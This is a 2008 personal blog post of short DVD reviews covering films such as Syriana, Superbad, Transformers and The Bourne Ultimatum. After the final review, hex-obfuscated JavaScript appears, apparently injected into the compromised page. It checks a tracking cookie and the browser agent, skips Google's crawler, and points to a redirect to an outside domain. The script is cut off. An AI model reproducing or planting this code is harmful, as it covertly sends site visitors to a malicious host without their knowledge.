Holiday Movie Watching

January 5, 2008 at 1:24 pm Leave a comment

One great thing about a long vacation is that you get to watch a buncha DVD’s.  I foun a mixed bag this time around:

SYRIANA
Hard to follow.  I understood the concept but it was rough to keep track of who was doing what to whom and why.  Good movie I guess, but too much of a thinker.

FAILURE TO LAUNCH
Cute movie.  Just like You’ve Got Mail was Sleepless In Seattle II, this was How To Lose A Guy In Ten Days II.  Both McMatt movies and both cute date kinda movies.  It was funny, had an expected twist and everyone lived happily ever after.

SUPERBAD
Apparently the anticipation for this one had been built up too much for me.  It was funny, but Knocked Up was much funnier.  I think maybe I expected too much from this one…although, like Napoleon Dynamite, it could get better with more watchings.

TRANSFORMERS
Wow…this has got to be the best use of CG/special effects ever in a movie.  The transforming scenes, the fights…and the surround sound were killer.  A fun movie for the kids lots of action.

BOURNE ULTIMATUM
Best movie that I saw over the holidays.  Damon has got to make another movie.  I don’t ever recall a movie that never left me with a chance to catch my breath.  I like the new James Bond…that Craig guy…buy he’s a bit too dapper for me.  Bourne is more my taste and Matt Damon is perfect…he’s got to keep the franchise alive.

PIRATES OF THE CARRIBEAN 3
Better than #2 but still not as good as #1. The first movie was a wonderful bit of fun from Johnny Depp.  The second one was a weird story and Depp was a caricature of himself.  The third movie was a bit better than #2 but still kinda far fetched and still Depp playing himself playing a pirate.

WILLY WONKA
Still a classic and a great performance by Gene Wilder.  The best part was the “making of” documentary on the disc in which you get to hear the kids’ stories from then and now

SHOOTER
Another seat of the pants thriller.  Once the trick is played on Marky Mark it picks up big time.  Although, it is one that’s a bit predictable, you do tend to forget that stuff and just enjoy it for what it is.  This could be another good franchise character for more movies.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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